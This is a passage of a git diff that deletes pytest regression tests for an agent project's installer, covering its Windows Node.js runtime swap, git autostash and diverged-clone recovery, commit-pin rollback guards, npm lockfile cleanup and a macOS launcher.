str(profile_home)) - monkeypatch.setenv("PATH", "") - monkeypatch.setattr(hermes_constants, "_managed_node_heal_attempted", False) - monkeypatch.setattr(hermes_constants, "heal_hermes_managed_node", lambda: False) - - assert hermes_constants.find_hermes_node_executable("node") == str(old_node) - - def test_target_major_managed_node_does_not_heal(self, tmp_path, monkeypatch): - """A tree already at the target major never triggers the heal.""" - target = hermes_constants._HERMES_NODE_TARGET_MAJOR - profile_home = tmp_path / "profiles" / "assistant" - managed_bin = profile_home / "node" / "bin" - managed_bin.mkdir(parents=True) - node = self._stub( - managed_bin, "node", f"#!/bin/sh\necho 'v{target}.5.1'\nexit 0\n" - ) - - monkeypatch.setenv("HERMES_HOME", str(profile_home)) - monkeypatch.setenv("PATH", "") - monkeypatch.setattr(hermes_constants, "_managed_node_heal_attempted", False) - - def _heal(): - raise AssertionError("heal must not run for an up-to-date tree") - - monkeypatch.setattr(hermes_constants, "heal_hermes_managed_node", _heal) - - assert hermes_constants.find_hermes_node_executable("node") == str(node) - - class TestIsContainer: """Tests for is_container() — Docker/Podman detection.""" @@ -779,376 +606,3 @@ class TestWslPathTranslation: assert hermes_constants.translate_cwd_for_wsl_backend("/home/alex") == "/home/alex" -class TestManagedNodeTreeInUse: - """managed_node_tree_in_use() detects processes executing from the tree.""" - - def _install_fake_psutil(self, monkeypatch, procs): - import sys - from types import SimpleNamespace - - monkeypatch.setattr(hermes_constants.sys, "platform", "win32") - fake = SimpleNamespace( - process_iter=lambda fields: [ - SimpleNamespace(info=info) for info in procs - ] - ) - monkeypatch.setitem(sys.modules, "psutil", fake) - - def test_always_false_off_windows(self, tmp_path, monkeypatch): - monkeypatch.setattr(hermes_constants.sys, "platform", "darwin") - monkeypatch.setenv("HERMES_HOME", str(tmp_path)) - assert hermes_constants.managed_node_tree_in_use() is False - - def test_exe_under_node_dir_counts(self, tmp_path, monkeypatch): - home = tmp_path / "hermes" - (home / "node").mkdir(parents=True) - monkeypatch.setenv("HERMES_HOME", str(home)) - self._install_fake_psutil( - monkeypatch, - [{"exe": str(home / "node" / "node.exe"), "cmdline": None}], - ) - assert hermes_constants.managed_node_tree_in_use() is True - - def test_cmdline_arg_under_node_dir_counts(self, tmp_path, monkeypatch): - home = tmp_path / "hermes" - (home / "node").mkdir(parents=True) - monkeypatch.setenv("HERMES_HOME", str(home)) - self._install_fake_psutil( - monkeypatch, - [ - { - "exe": r"C:\Windows\System32\cmd.exe", - "cmdline": [r"C:\Windows\System32\cmd.exe", "/d", "/s", "/c", str(home / "node" / "npm.cmd")], - } - ], - ) - assert hermes_constants.managed_node_tree_in_use() is True - - def test_unrelated_process_does_not_count(self, tmp_path, monkeypatch): - home = tmp_path / "hermes" - (home / "node").mkdir(parents=True) - monkeypatch.setenv("HERMES_HOME", str(home)) - self._install_fake_psutil( - monkeypatch, - [{"exe": r"C:\Program Files\nodejs\node.exe", "cmdline": None}], - ) - assert hermes_constants.managed_node_tree_in_use() is False - - def test_missing_psutil_is_false(self, tmp_path, monkeypatch): - import sys - - monkeypatch.setattr(hermes_constants.sys, "platform", "win32") - monkeypatch.setenv("HERMES_HOME", str(tmp_path)) - # None in sys.modules makes `import psutil` raise ImportError. - monkeypatch.setitem(sys.modules, "psutil", None) - assert hermes_constants.managed_node_tree_in_use() is False - - -class _FakeUrlResponse: - def __init__(self, payload: bytes): - self._payload = payload - - def __enter__(self): - return self - - def __exit__(self, *exc): - return False - - def read(self): - return self._payload - - -def _make_node_zip(major: int) -> tuple[str, bytes]: - import io - import zipfile - - name = f"node-v{major}.5.1-win-x64.zip" - buf = io.BytesIO() - with zipfile.ZipFile(buf, "w") as archive: - root = f"node-v{major}.5.1-win-x64" - archive.writestr(f"{root}/node.exe", b"fake-node") - archive.writestr(f"{root}/npm.cmd", "@echo off\r\n") - return name, buf.getvalue() - - -class TestWindowsHealStageSwap: - """_heal_managed_node_windows() must never destroy the live tree before - its replacement is fully staged, and must defer (return None) when the - tree is in use instead of forcing the write (#80926).""" - - def _stub_env( - self, monkeypatch, home, zip_name, zip_bytes, *, in_use=False - ): - import urllib.request - - monkeypatch.setattr(hermes_constants.sys, "platform", "win32") - monkeypatch.setenv("PROCESSOR_ARCHITECTURE", "AMD64") - monkeypatch.setenv("HERMES_HOME", str(home)) - monkeypatch.setenv( - "HERMES_NODE_TARGET_MAJOR", - str(hermes_constants._HERMES_NODE_TARGET_MAJOR), - ) - monkeypatch.setattr(hermes_constants, "_managed_node_heal_attempted", False) - monkeypatch.setattr( - hermes_constants, "_managed_node_in_use_notice_printed", False - ) - monkeypatch.setattr( - hermes_constants, - "managed_node_tree_in_use", - lambda _home=None: in_use, - ) - monkeypatch.setattr( - hermes_constants, "node_tool_runnable", lambda path: True - ) - - index_html = f'{zip_name}'.encode() - - def fake_urlopen(url, timeout=0): - if str(url).endswith(".zip"): - return _FakeUrlResponse(zip_bytes) - return _FakeUrlResponse(index_html) - - monkeypatch.setattr(urllib.request, "urlopen", fake_urlopen) - - def test_in_use_defers_without_touching_tree(self, tmp_path, monkeypatch): - import urllib.request - - home = tmp_path / "hermes" - old = home / "node" - old.mkdir(parents=True) - (old / "node.exe").write_text("old", encoding="utf-8") - (old / "npm.cmd").write_text("@echo off", encoding="utf-8") - zip_name, zip_bytes = _make_node_zip(hermes_constants._HERMES_NODE_TARGET_MAJOR) - self._stub_env(monkeypatch, home, zip_name, zip_bytes, in_use=True) - - def forbidden_urlopen(url, timeout=0): - raise AssertionError(f"no download may start while the tree is in use: {url}") - - monkeypatch.setattr(urllib.request, "urlopen", forbidden_urlopen) - - result = hermes_constants._heal_managed_node_windows() - - assert result is None - # The live tree is untouched, and no staging litter remains. - assert (old / "node.exe").read_text(encoding="utf-8") == "old" - assert list(home.glob("node.new-*")) == [] - assert list(home.glob("node.old-*")) == [] - - def test_swap_replaces_tree_and_cleans_up(self, tmp_path, monkeypatch): - home = tmp_path / "hermes" - old = home / "node" - old.mkdir(parents=True) - (old / "node.exe").write_text("old", encoding="utf-8") - (old / "old-marker").write_text("stale", encoding="utf-8") - zip_name, zip_bytes = _make_node_zip(hermes_constants._HERMES_NODE_TARGET_MAJOR) - self._stub_env(monkeypatch, home, zip_name, zip_bytes, in_use=False) - - result = hermes_constants._heal_managed_node_windows() - - assert result is True - assert (home / "node" / "node.exe").exists() - assert not (home / "node" / "old-marker").exists() - assert list(home.glob("node.new-*")) == [] - assert list(home.glob("node.old-*")) == [] - - def test_creates_tree_when_absent(self, tmp_path, monkeypatch): - home = tmp_path / "hermes" - home.mkdir() - zip_name, zip_bytes = _make_node_zip(hermes_constants._HERMES_NODE_TARGET_MAJOR) - self._stub_env(monkeypatch, home, zip_name, zip_bytes, in_use=False) - - result = hermes_constants._heal_managed_node_windows() - - assert result is True - assert (home / "node" / "node.exe").exists() - assert list(home.glob("node.new-*")) == [] - - def test_rename_refusal_defers_and_preserves_tree(self, tmp_path, monkeypatch): - import os as _os - - home = tmp_path / "hermes" - old = home / "node" - old.mkdir(parents=True) - (old / "node.exe").write_text("old", encoding="utf-8") - zip_name, zip_bytes = _make_node_zip(hermes_constants._HERMES_NODE_TARGET_MAJOR) - self._stub_env(monkeypatch, home, zip_name, zip_bytes, in_use=False) - - real_replace = _os.replace - state = {"calls": 0} - - def flaky_replace(src, dst): - state["calls"] += 1 - if state["calls"] == 1: - raise PermissionError(13, "Access is denied", str(src)) - return real_replace(src, dst) - - monkeypatch.setattr(_os, "replace", flaky_replace) - - result = hermes_constants._heal_managed_node_windows() - - assert result is None - # The OS refused the swap — the live tree must survive intact. - assert (old / "node.exe").read_text(encoding="utf-8") == "old" - assert list(home.glob("node.new-*")) == [] - assert list(home.glob("node.old-*")) == [] - - - def test_touch_failure_does_not_abort_swap(self, tmp_path, monkeypatch): - """The post-rename mtime touch is best-effort: a touch failure must - not abort a swap that already succeeded.""" - import os as _os - - home = tmp_path / "hermes" - old = home / "node" - old.mkdir(parents=True) - (old / "node.exe").write_text("old", encoding="utf-8") - zip_name, zip_bytes = _make_node_zip(hermes_constants._HERMES_NODE_TARGET_MAJOR) - self._stub_env(monkeypatch, home, zip_name, zip_bytes, in_use=False) - - calls = {"n": 0} - - def failing_utime(path, times=None): - calls["n"] += 1 - raise PermissionError(13, "Access is denied", str(path)) - - monkeypatch.setattr(_os, "utime", failing_utime) - result = hermes_constants._heal_managed_node_windows() - - assert result is True - assert calls["n"] >= 1 - # The new tree is in place despite the touch failure. - assert (home / "node" / "node.exe").exists() - assert list(home.glob("node.new-*")) == [] - # The old tree was swapped aside and then removed. - assert list(home.glob("node.old-*")) == [] - - def test_second_rename_failure_rolls_back(self, tmp_path, monkeypatch): - """The staged->live rename failing must restore the live tree and - remove the staged copy, reporting a genuine failure (not a deferral).""" - import os as _os - - home = tmp_path / "hermes" - old = home / "node" - old.mkdir(parents=True) - (old / "node.exe").write_text("old", encoding="utf-8") - zip_name, zip_bytes = _make_node_zip(hermes_constants._HERMES_NODE_TARGET_MAJOR) - self._stub_env(monkeypatch, home, zip_name, zip_bytes, in_use=False) - - real_replace = _os.replace - state = {"calls": 0} - - def flaky_replace(src, dst): - state["calls"] += 1 - if state["calls"] == 2: - raise PermissionError(13, "Access is denied", str(src)) - return real_replace(src, dst) - - monkeypatch.setattr(_os, "replace", flaky_replace) - - result = hermes_constants._heal_managed_node_windows() - - assert result is False - # The live tree was rolled back into place; the staged copy is gone. - assert (old / "node.exe").read_text(encoding="utf-8") == "old" - assert list(home.glob("node.new-*")) == [] - assert list(home.glob("node.old-*")) == [] - - def test_stale_staging_litter_is_swept(self, tmp_path, monkeypatch): - import os as _os - import time as _time - - home = tmp_path / "hermes" - (home / "node").mkdir(parents=True) - (home / "node" / "node.exe").write_text("old", encoding="utf-8") - stale_backup = home / "node.old-deadbeef" - stale_backup.mkdir() - (stale_backup / "node.exe").write_text("stale", encoding="utf-8") - stale_staged = home / "node.new-deadbeef" - stale_staged.mkdir() - (stale_staged / "node.exe").write_text("stale", encoding="utf-8") - # The sweep only removes litter older than 10 minutes, so backdate. - old_ts = _time.time() - 3600 - _os.utime(stale_backup, (old_ts, old_ts)) - _os.utime(stale_staged, (old_ts, old_ts)) - zip_name, zip_bytes = _make_node_zip(hermes_constants._HERMES_NODE_TARGET_MAJOR) - self._stub_env(monkeypatch, home, zip_name, zip_bytes, in_use=False) - - result = hermes_constants._heal_managed_node_windows() - - assert result is True - assert not stale_backup.exists() - assert not stale_staged.exists() - assert (home / "node" / "node.exe").exists() - - def test_fresh_staging_dirs_are_not_swept(self, tmp_path, monkeypatch): - """A concurrent heal's in-flight backup must survive the sweep even - when it was renamed from a long-lived tree (rename preserves mtime — - the production code touches it after the rename, and the sweep must - respect that).""" - import os as _os - import time as _time - - home = tmp_path / "hermes" - (home / "node").mkdir(parents=True) - (home / "node" / "node.exe").write_text("old", encoding="utf-8") - # Simulate a long-lived tree being renamed aside mid-swap: backdate - # it, rename, then touch exactly like the production swap does. - old_ts = _time.time() - 3600 - _os.utime(home / "node", (old_ts, old_ts)) - fresh_backup = home / "node.old-deadbeef" - _os.replace(str(home / "node"), str(fresh_backup)) - _os.utime(fresh_backup, None) - zip_name, zip_bytes = _make_node_zip(hermes_constants._HERMES_NODE_TARGET_MAJOR) - self._stub_env(monkeypatch, home, zip_name, zip_bytes, in_use=False) - - result = hermes_constants._heal_managed_node_windows() - - assert result is True - assert fresh_backup.exists() - - -class TestHealAttemptFlagSemantics: - """An in-use deferral must not record the once-per-process heal attempt, - so a later call can retry once the tree is free (#80926).""" - - def test_deferral_keeps_flag_clear_and_retries(self, tmp_path, monkeypatch): - home = tmp_path / "hermes" - (home / "node").mkdir(parents=True) - (home / "node" / "node.exe").write_text("x", encoding="utf-8") - monkeypatch.setattr(hermes_constants.sys, "platform", "win32") - monkeypatch.setenv("HERMES_HOME", str(home)) - monkeypatch.setattr(hermes_constants, "_managed_node_heal_attempted", False) - calls = {"n": 0} - - def fake_heal(): - calls["n"] += 1 - return None - - monkeypatch.setattr(hermes_constants, "_heal_managed_node_windows", fake_heal) - - assert heal_hermes_managed_node() is False - assert hermes_constants._managed_node_heal_attempted is False - # The flag stayed clear, so the next call retries the heal. - assert heal_hermes_managed_node() is False - assert calls["n"] == 2 - - def test_real_failure_records_attempt(self, tmp_path, monkeypatch): - home = tmp_path / "hermes" - (home / "node").mkdir(parents=True) - (home / "node" / "node.exe").write_text("x", encoding="utf-8") - monkeypatch.setattr(hermes_constants.sys, "platform", "win32") - monkeypatch.setenv("HERMES_HOME", str(home)) - monkeypatch.setattr(hermes_constants, "_managed_node_heal_attempted", False) - calls = {"n": 0} - - def fake_heal(): - calls["n"] += 1 - return False - - monkeypatch.setattr(hermes_constants, "_heal_managed_node_windows", fake_heal) - - assert heal_hermes_managed_node() is False - assert hermes_constants._managed_node_heal_attempted is True - # The flag is set, so the once-per-process budget is spent. - assert heal_hermes_managed_node() is False - assert calls["n"] == 1 diff --git a/tests/test_install_autostash_conflict_recovery.py b/tests/test_install_autostash_conflict_recovery.py deleted file mode 100644 index 94e19aeec5..0000000000 --- a/tests/test_install_autostash_conflict_recovery.py +++ /dev/null @@ -1,195 +0,0 @@ -"""Regression: installer autostash restore conflicts must not abort the run. - -An interrupted/repeated managed install can leave local tracked edits in the -checkout. If upstream then changes the same lines, ``git stash apply`` conflicts -during the repository-update stage. Both installers must leave the stash intact, -reset the worktree clean, and complete the real repository stage. -""" - -from __future__ import annotations - -import os -import shutil -import subprocess -from pathlib import Path - -import pytest - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" -POWERSHELL = next( - (candidate for candidate in ("pwsh", "powershell") if shutil.which(candidate)), - None, -) - - -def _git(cwd: Path, *args: str, check: bool = True) -> subprocess.CompletedProcess: - return subprocess.run( - ["git", "-c", "user.email=t@t", "-c", "user.name=t", *args], - cwd=cwd, - check=check, - capture_output=True, - text=True, - ) - - -def _make_conflicted_managed_checkout(tmp_path: Path) -> Path: - """Create a managed checkout whose autostash conflicts with its origin.""" - seed = tmp_path / "seed" - seed.mkdir() - _git(seed, "init") - (seed / "tracked.txt").write_text("base\n", encoding="utf-8") - _git(seed, "add", "tracked.txt") - _git(seed, "commit", "-m", "base") - _git(seed, "branch", "-M", "main") - - remote = tmp_path / "origin.git" - _git(tmp_path, "init", "--bare", str(remote)) - _git(seed, "remote", "add", "origin", str(remote)) - _git(seed, "push", "-u", "origin", "main") - - managed = tmp_path / "hermes-agent" - _git(tmp_path, "clone", "--branch", "main", str(remote), str(managed)) - - (managed / "tracked.txt").write_text("local edit\n", encoding="utf-8") - - upstream = tmp_path / "upstream" - _git(tmp_path, "clone", "--branch", "main", str(remote), str(upstream)) - (upstream / "tracked.txt").write_text("upstream edit\n", encoding="utf-8") - _git(upstream, "commit", "-am", "upstream") - _git(upstream, "push", "origin", "main") - - return managed - - -def _assert_conflict_was_recovered(repo: Path, output: str) -> None: - assert "restoring local changes hit conflicts" in output - assert "Conflicted files:" in output - assert "tracked.txt" in output - assert "Working tree reset to clean state." in output - assert "Restore your changes later with: git stash apply stash@{0}" in output - assert _git(repo, "status", "--porcelain").stdout.strip() == "" - assert _git(repo, "stash", "list").stdout.strip(), "stash must be preserved" - content = (repo / "tracked.txt").read_text(encoding="utf-8") - assert content == "upstream edit\n", content - # No conflict markers must be left in tracked source — they would crash - # the backend on import (SyntaxError on the <<<<<<< line). - assert "<<<<<<<" not in content and ">>>>>>>" not in content - - -@pytest.mark.live_system_guard_bypass -@pytest.mark.skipif( - shutil.which("git") is None or shutil.which("bash") is None, - reason="needs git and bash", -) -def test_install_sh_repository_stage_recovers_from_autostash_conflict( - tmp_path: Path, -) -> None: - managed = _make_conflicted_managed_checkout(tmp_path) - env = os.environ | { - "HERMES_HOME": str(tmp_path / "hermes-home"), - "HERMES_INSTALL_DIR": str(managed), - } - - result = subprocess.run( - ["bash", str(INSTALL_SH), "--stage", "repository", "--non-interactive"], - cwd=tmp_path, - env=env, - capture_output=True, - text=True, - ) - - assert result.returncode == 0, result.stderr - _assert_conflict_was_recovered(managed, result.stdout) - - -@pytest.mark.live_system_guard_bypass -@pytest.mark.skipif( - shutil.which("git") is None or POWERSHELL is None, - reason="needs git and PowerShell", -) -def test_install_ps1_repository_stage_recovers_from_autostash_conflict( - tmp_path: Path, -) -> None: - managed = _make_conflicted_managed_checkout(tmp_path) - result = subprocess.run( - [ - POWERSHELL, - "-NoProfile", - "-File", - str(INSTALL_PS1), - "-Stage", - "repository", - "-NonInteractive", - "-InstallDir", - str(managed), - "-HermesHome", - str(tmp_path / "hermes-home"), - ], - cwd=tmp_path, - capture_output=True, - text=True, - ) - - assert result.returncode == 0, result.stderr - _assert_conflict_was_recovered(managed, result.stdout) - - -@pytest.mark.live_system_guard_bypass -@pytest.mark.skipif( - shutil.which("git") is None or shutil.which("bash") is None, - reason="needs git and bash", -) -def test_install_sh_repository_stage_clean_apply_drops_stash( - tmp_path: Path, -) -> None: - """Happy path: a non-conflicting restore must still apply and drop the stash. - - The conflict-recovery fix must not regress the normal path — when stash apply - succeeds cleanly, the stash should be dropped and local changes restored. - """ - seed = tmp_path / "seed" - seed.mkdir() - _git(seed, "init") - (seed / "tracked.txt").write_text("base\n", encoding="utf-8") - _git(seed, "add", "tracked.txt") - _git(seed, "commit", "-m", "base") - _git(seed, "branch", "-M", "main") - - remote = tmp_path / "origin.git" - _git(tmp_path, "init", "--bare", str(remote)) - _git(seed, "remote", "add", "origin", str(remote)) - _git(seed, "push", "-u", "origin", "main") - - managed = tmp_path / "hermes-agent" - _git(tmp_path, "clone", "--branch", "main", str(remote), str(managed)) - - # Local edit on a file upstream will NOT touch — no conflict on apply. - (managed / "local-only.txt").write_text("local edit\n", encoding="utf-8") - - upstream = tmp_path / "upstream" - _git(tmp_path, "clone", "--branch", "main", str(remote), str(upstream)) - (upstream / "tracked.txt").write_text("upstream edit\n", encoding="utf-8") - _git(upstream, "commit", "-am", "upstream") - _git(upstream, "push", "origin", "main") - - env = os.environ | { - "HERMES_HOME": str(tmp_path / "hermes-home"), - "HERMES_INSTALL_DIR": str(managed), - } - result = subprocess.run( - ["bash", str(INSTALL_SH), "--stage", "repository", "--non-interactive"], - cwd=tmp_path, - env=env, - capture_output=True, - text=True, - ) - - assert result.returncode == 0, result.stderr - assert "Local changes were restored on top of the updated codebase." in result.stdout - # Stash must be dropped on a clean apply — not preserved. - assert _git(managed, "stash", "list").stdout.strip() == "", "stash must be dropped on clean apply" - # Local changes must be present in the working tree. - assert (managed / "local-only.txt").read_text(encoding="utf-8") == "local edit\n" - assert (managed / "tracked.txt").read_text(encoding="utf-8") == "upstream edit\n" diff --git a/tests/test_install_commit_pin_rollback.py b/tests/test_install_commit_pin_rollback.py deleted file mode 100644 index 4d6de7986c..0000000000 --- a/tests/test_install_commit_pin_rollback.py +++ /dev/null @@ -1,138 +0,0 @@ -"""Regression: a stale ``--commit`` pin must not roll an install backwards. - -``hermes-setup.exe`` bakes its build-time commit into the binary -(``BUILD_PIN_COMMIT``) and passes it as ``-Commit`` / ``--commit`` on every -install-mode run — including the retry the desktop's "Update didn't finish" -screen kicks off. The repository stage used to ``git checkout --detach`` that -SHA unconditionally, so an installer built months earlier rewound a current -managed checkout to its build commit (observed: ~9k commits back), leaving -ancient source against a current venv — npm workspaces and Python deps that no -longer match, and every subsequent update failing against the wrong tree. - -The pin is skipped when its target is already an ancestor of HEAD, unless the -caller explicitly passes ``--force-commit`` / ``-ForceCommit``. A fresh clone -has no such ancestry, so reproducible/CI pinning is unaffected. - -``install.ps1`` carries the same guard (that is the path the Windows report -hit), but there is no PowerShell host in CI to execute it against a real repo, -and asserting on the script's *source text* would test its shape rather than -its behavior. These run the bash implementation of the same logic for real. -""" - -from __future__ import annotations - -import re -import shutil -import subprocess -from pathlib import Path - -import pytest - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" - -pytestmark = pytest.mark.skipif( - shutil.which("git") is None or shutil.which("bash") is None, - reason="needs git and bash", -) - - -def _git(cwd: Path, *args: str) -> str: - return subprocess.run( - ["git", "-c", "user.email=t@t", "-c", "user.name=t", *args], - cwd=cwd, - check=True, - capture_output=True, - text=True, - ).stdout.strip() - - -def _extract_pin_block() -> str: - """Pull the commit-pin block out of install.sh's update_repo().""" - text = INSTALL_SH.read_text() - match = re.search( - r'if \[ -n "\$INSTALL_COMMIT" \]; then.*?\n fi\n', - text, - re.DOTALL, - ) - assert match is not None, "commit-pin block not found in install.sh" - return match.group(0) - - -@pytest.fixture -def repo(tmp_path): - """A checkout with three commits, HEAD at the newest.""" - origin = tmp_path / "origin" - origin.mkdir() - _git(origin, "init", "-q", "-b", "main") - shas = [] - for n in range(3): - (origin / "f.txt").write_text(f"rev{n}\n") - _git(origin, "add", "f.txt") - _git(origin, "commit", "-qm", f"rev{n}") - shas.append(_git(origin, "rev-parse", "HEAD")) - return origin, shas - - -def _run_pin_block(repo_dir: Path, commit: str, *, force: bool = False) -> str: - """Execute install.sh's pin block standalone against ``repo_dir``.""" - script = "\n".join( - [ - "set -e", - "log_info() { echo \"INFO $*\"; }", - "log_warn() { echo \"WARN $*\"; }", - f'INSTALL_COMMIT="{commit}"', - f'FORCE_COMMIT={"true" if force else "false"}', - f'cd "{repo_dir}"', - _extract_pin_block(), - ] - ) - return subprocess.run( - ["bash", "-c", script], - capture_output=True, - text=True, - check=True, - ).stdout - - -def test_stale_pin_does_not_rewind_a_newer_checkout(repo): - """The reported failure: an old baked-in pin downgrading a current tree.""" - repo_dir, shas = repo - head_before = _git(repo_dir, "rev-parse", "HEAD") - - out = _run_pin_block(repo_dir, shas[0]) - - assert _git(repo_dir, "rev-parse", "HEAD") == head_before, ( - "a pin older than HEAD must leave the checkout where it is" - ) - assert "already newer" in out - - -def test_force_commit_still_rolls_back(repo): - """Reproducible/CI installs that genuinely want an older SHA keep working.""" - repo_dir, shas = repo - - _run_pin_block(repo_dir, shas[0], force=True) - - assert _git(repo_dir, "rev-parse", "HEAD") == shas[0] - - -def test_pin_to_current_head_is_applied(repo): - """Pinning to HEAD itself is a no-op checkout, not a skipped one.""" - repo_dir, shas = repo - - out = _run_pin_block(repo_dir, shas[2]) - - assert _git(repo_dir, "rev-parse", "HEAD") == shas[2] - assert "already newer" not in out - - -def test_pin_to_a_newer_commit_is_applied(repo): - """Rolling FORWARD to a newer pin is the legitimate case — never blocked.""" - repo_dir, shas = repo - _git(repo_dir, "checkout", "-q", "--detach", shas[0]) - - out = _run_pin_block(repo_dir, shas[2]) - - assert _git(repo_dir, "rev-parse", "HEAD") == shas[2] - assert "already newer" not in out diff --git a/tests/test_install_diverged_update.py b/tests/test_install_diverged_update.py deleted file mode 100644 index a042d8c483..0000000000 --- a/tests/test_install_diverged_update.py +++ /dev/null @@ -1,67 +0,0 @@ -"""Regression: installer/bootstrap must recover from diverged managed clones. - -When ``~/.hermes/hermes-agent`` has local-only commits (or diverged history), -``git pull --ff-only`` fails with exit 128 and bootstrap aborts at the -repository stage. ``hermes update`` already resets to ``origin/$BRANCH`` in -that case; both installer scripts must do the same. - -Fixes the bootstrap failure seen in #53257 and desktop update paths that run -``install.ps1`` / ``install.sh`` non-interactively. -""" - -from __future__ import annotations - -import re -from pathlib import Path - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" - - -def _extract_install_sh_update_block() -> str: - text = INSTALL_SH.read_text() - match = re.search( - r"(?Pgit checkout \"\$BRANCH\".*?fi\n\n if \[ -n \"\$autostash_ref\" \])", - text, - re.DOTALL, - ) - assert match is not None, "managed-install update block not found in install.sh" - return match["block"] - - -def _extract_install_ps1_branch_update_block() -> str: - text = INSTALL_PS1.read_text() - match = re.search( - r"(?Pgit -c windows\.appendAtomically=false checkout \$Branch.*?elseif \(\$Tag\))", - text, - re.DOTALL, - ) - assert match is not None, "branch update block not found in install.ps1" - return match["block"] - - -def test_install_sh_resets_when_ff_only_pull_fails() -> None: - block = _extract_install_sh_update_block() - - assert 'git pull --ff-only origin "$BRANCH"' in block - assert 'git reset --hard "origin/$BRANCH"' in block - assert "Fast-forward not possible" in block - - pull_idx = block.find('git pull --ff-only origin "$BRANCH"') - reset_idx = block.find('git reset --hard "origin/$BRANCH"') - assert pull_idx != -1 and reset_idx != -1 - assert pull_idx < reset_idx, "ff-only pull must be attempted before reset fallback" - - -def test_install_ps1_resets_when_ff_only_pull_fails() -> None: - block = _extract_install_ps1_branch_update_block() - - assert "pull --ff-only origin $Branch" in block - assert 'reset --hard "origin/$Branch"' in block - assert "Fast-forward not possible" in block - - pull_idx = block.find("pull --ff-only origin $Branch") - reset_idx = block.find('reset --hard "origin/$Branch"') - assert pull_idx != -1 and reset_idx != -1 - assert pull_idx < reset_idx, "ff-only pull must be attempted before reset fallback" diff --git a/tests/test_install_lockfile_churn.py b/tests/test_install_lockfile_churn.py deleted file mode 100644 index 15861e4d01..0000000000 --- a/tests/test_install_lockfile_churn.py +++ /dev/null @@ -1,110 +0,0 @@ -"""Regression: installer update should discard pure npm lockfile churn. - -Desktop/bootstrap installs update an existing managed checkout in place. Local -build steps often rewrite tracked ``package-lock.json`` without touching the -matching ``package.json``; treating that churn as a real local edit forces an -autostash and can abort the repository stage before the desktop comes back up. - -The installer should discard that generated churn before its stash/checkout -logic, while still preserving intentional package edits where ``package.json`` -and ``package-lock.json`` changed together. -""" - -from __future__ import annotations - -import re -import shutil -import subprocess -from pathlib import Path - -import pytest - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" - -pytestmark = pytest.mark.skipif( - shutil.which("git") is None or shutil.which("bash") is None, - reason="needs git and bash", -) - - -def _git(cwd: Path, *args: str, check: bool = True) -> subprocess.CompletedProcess: - return subprocess.run( - ["git", "-c", "user.email=t@t", "-c", "user.name=t", *args], - cwd=cwd, - check=check, - capture_output=True, - text=True, - ) - - -def _extract_install_sh_function(name: str) -> str: - text = INSTALL_SH.read_text() - match = re.search(rf"{name}\(\) \{{.*?\n\}}", text, re.DOTALL) - assert match is not None, f"{name}() not found in install.sh" - return match.group(0) - - -def _extract_install_sh_autostash_block() -> str: - text = INSTALL_SH.read_text() - match = re.search( - r'local autostash_ref="".*?\n fi\n', - text, - re.DOTALL, - ) - assert match is not None, "autostash block not found in install.sh" - return match.group(0) - - -@pytest.mark.live_system_guard_bypass -def test_install_sh_discards_runtime_lockfile_churn_before_stash( - tmp_path: Path, -) -> None: - repo = tmp_path / "hermes-agent" - repo.mkdir() - _git(repo, "init") - (repo / "package.json").write_text('{"dependencies":{"a":"1"}}\n') - (repo / "package-lock.json").write_text('{"lock":"old"}\n') - _git(repo, "add", "package.json", "package-lock.json") - _git(repo, "commit", "-m", "init") - - (repo / "package-lock.json").write_text('{"lock":"runtime-churn"}\n') - - script = ( - "set -e\n" - 'log_info() { echo "INFO: $*"; }\n' - 'INSTALL_DIR="$PWD"\n' - f"{_extract_install_sh_function('discard_update_lockfile_churn')}\n" - "run() {\n" - f"{_extract_install_sh_autostash_block()}" - "}\n" - "run\n" - ) - res = subprocess.run( - ["bash", "-c", script], cwd=repo, capture_output=True, text=True - ) - - assert res.returncode == 0, res.stderr - assert "Discarded npm lockfile churn (1 file(s))" in res.stdout - assert _git(repo, "stash", "list").stdout.strip() == "" - assert (repo / "package-lock.json").read_text() == '{"lock":"old"}\n' - - -def test_install_sh_discards_lockfile_churn_before_status_probe() -> None: - text = INSTALL_SH.read_text() - idx_cleanup = text.index('discard_update_lockfile_churn "$INSTALL_DIR"') - idx_status = text.index('if [ -n "$(git status --porcelain)" ]') - idx_stash = text.index("git stash push --include-untracked") - assert idx_cleanup < idx_status < idx_stash - - -def test_install_ps1_discards_lockfile_churn_before_status_probe() -> None: - text = INSTALL_PS1.read_text() - assert "function Discard-LockfileChurn" in text - idx_cleanup = text.index("Discard-LockfileChurn $InstallDir") - idx_status = text.index( - "$statusOut = git -c windows.appendAtomically=false status --porcelain" - ) - idx_stash = text.index("stash push --include-untracked") - assert idx_cleanup < idx_status < idx_stash diff --git a/tests/test_install_macos_launcher.py b/tests/test_install_macos_launcher.py deleted file mode 100644 index fd46c347a7..0000000000 --- a/tests/test_install_macos_launcher.py +++ /dev/null @@ -1,89 +0,0 @@ -"""Regression coverage for the user-facing macOS Hermes launcher.""" - -from __future__ import annotations - -import os -import re -import shutil -import stat -import subprocess -from pathlib import Path - - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" - - -def _make_executable(path: Path, content: str) -> None: - path.write_text(content, encoding="utf-8") - path.chmod(path.stat().st_mode | stat.S_IXUSR) - - -def _setup_path_function() -> str: - match = re.search( - r"^setup_path\(\) \{\n.*?^}\n", - INSTALL_SH.read_text(encoding="utf-8"), - re.MULTILINE | re.DOTALL, - ) - assert match is not None, "setup_path function not found in scripts/install.sh" - return match.group(0) - - -def test_venv_launcher_bypasses_uv_console_script_that_requires_realpath(tmp_path: Path) -> None: - """Stock macOS must start Hermes even when its uv console script needs realpath.""" - install_dir = tmp_path / "install" - venv_bin = install_dir / "venv" / "bin" - command_dir = tmp_path / "command" - minimal_path = tmp_path / "minimal-path" - result = tmp_path / "launch-result" - venv_bin.mkdir(parents=True) - minimal_path.mkdir() - - dirname = shutil.which("dirname") - assert dirname is not None - (minimal_path / "dirname").symlink_to(dirname) - - _make_executable( - venv_bin / "python", - '#!/bin/sh\nprintf 